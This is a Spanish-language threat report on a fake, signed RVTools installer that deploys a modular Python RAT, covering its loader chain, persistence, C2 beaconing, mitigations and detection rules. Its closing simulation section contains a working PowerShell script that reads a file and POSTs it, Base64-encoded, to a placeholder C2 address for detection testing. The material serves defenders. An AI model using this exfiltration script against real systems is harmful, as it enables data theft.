RVTools Mascarada: Cómo un Instalador Falso Firmado Despliega un RAT Modular de Python
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un instalador MSI malicioso firmado con un certificado legítimo se hace pasar por la utilidad RVTools utilizada por los administradores de VMware. Una vez ejecutado, el instalador despliega un VBScript que lanza PowerShell para descargar un gran archivo ZIP de Dropbox. Ese archivo contiene un entorno Python portátil que ejecuta un RAT multifásico capaz de reconocimiento, persistencia y comunicación con servidores de comando y control codificados.
Investigación
El análisis rastreó el MSI a una acción personalizada de VBScript, Binary.MyScript.vbs, que decodificó un comando de PowerShell ofuscado. Ese comando descargó un winp.zip carga útil en %APPDATA%, extrajo componentes y scripts de Python como collector.py and Pmanager.py, y luego estableció persistencia a través de claves Run del registro y una tarea programada después del reinicio. Los investigadores también encontraron que el RAT cifró los datos recopilados con RC4 y enviaba señales a cinco direcciones IP fijas a intervalos de cinco minutos.
Mitigación
Las organizaciones deben aplicar una validación estricta de firma de código con comprobaciones en vivo de OCSP o CRL, bloquear la ejecución de MSI no confiables y monitorear las acciones personalizadas de VBScript sospechosas incrustadas en los paquetes del instalador. Los defensores también deben prevenir la ejecución automática de scripts descargados, observar nuevas entradas de claves Run y la creación de tareas programadas, y alertar sobre el tráfico saliente a direcciones IP codificadas desconocidas.
Respuesta
Si se detecta esta actividad, aísle inmediatamente el punto final afectado, recopile el MSI, el VBScript y los archivos de carga útil extraídos para el análisis forense, y elimine todos los artefactos de persistencia, incluidas las claves Run y las tareas programadas. Las direcciones IP de comando y control identificadas deben bloquearse en el cortafuegos, y se debe realizar una revisión más amplia de las credenciales y la actividad de Active Directory para determinar si ocurrió movimiento lateral.
Flujo de Ataque
Detecciones
LOLBAS WScript / CScript (via process_creation)
Ver
Ejecución de Python desde carpetas sospechosas (via cmdline)
Ver
La posibilidad de ejecución a través de líneas de comandos de PowerShell ocultas (via cmdline)
Ver
Un archivo fue extraído a un directorio sospechoso usando Powershell (via powershell)
Ver
Consultas DNS de subdominios de la API de Dropbox iniciadas por procesos no legítimos (via dns_query)
Ver
IOCs (HashSha256) para detectar: Mascarada RVTools: Cómo un instalador falso firmado despliega un RAT modular en Python
Ver
IOCs (HashMd5) para detectar: Mascarada RVTools: Cómo un instalador falso firmado despliega un RAT modular en Python
Ver
Detección de Exfiltración de Datos vía IPs codificadas y HTTP POST [Conexión de Red de Windows]
Ver
Detección de Ejecución Oculta de PowerShell Malicioso e Invoke-WebRequest [Windows Powershell]
Ver
Instalador falso sospechoso de RVTools desplegando Python RAT [Creación de procesos de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La verificación previa al vuelo del Telémetro y Base de Referencia debe haber sido aprobada.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar DIRECTAMENTE los TTPs identificados y a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
Un adversario que ya ha establecido un punto de apoyo en la máquina de la víctima decide exfiltrar un pequeño conjunto de datos (por ejemplo,C:Tempsecret.txt). Para evitar activar alertas de tráfico saliente genéricas, el actor usa un PowerShell one-liner que realiza un HTTP POST directamente a una de las IPs de C2 codificadas (192.0.2.10). El comando se programa a través de una Tarea Programada de Windows para asegurar la persistencia (T1546.013). No se sueltan binarios adicionales, manteniendo la actividad “viviendo de la tierra”. -
Script de Prueba de Regresión:
# ------------------------------------------------- # Script de PowerShell – Exfiltración de datos a través de IP codificada # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Asegura que el archivo existe (cree datos ficticios para la prueba) if (-Not (Test-Path $file)) { "datos sensibles $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Lee el contenido del archivo y lo codifica en Base64 $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # Realiza el HTTP POST $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Intento de exfiltración enviado a $c2Ip" } catch { Write-Error "Exfiltración fallida: $_" } -
Comandos de Limpieza:
# Remover el archivo ficticio Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Eliminar cualquier tarea programada creada para la prueba (si la hay) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }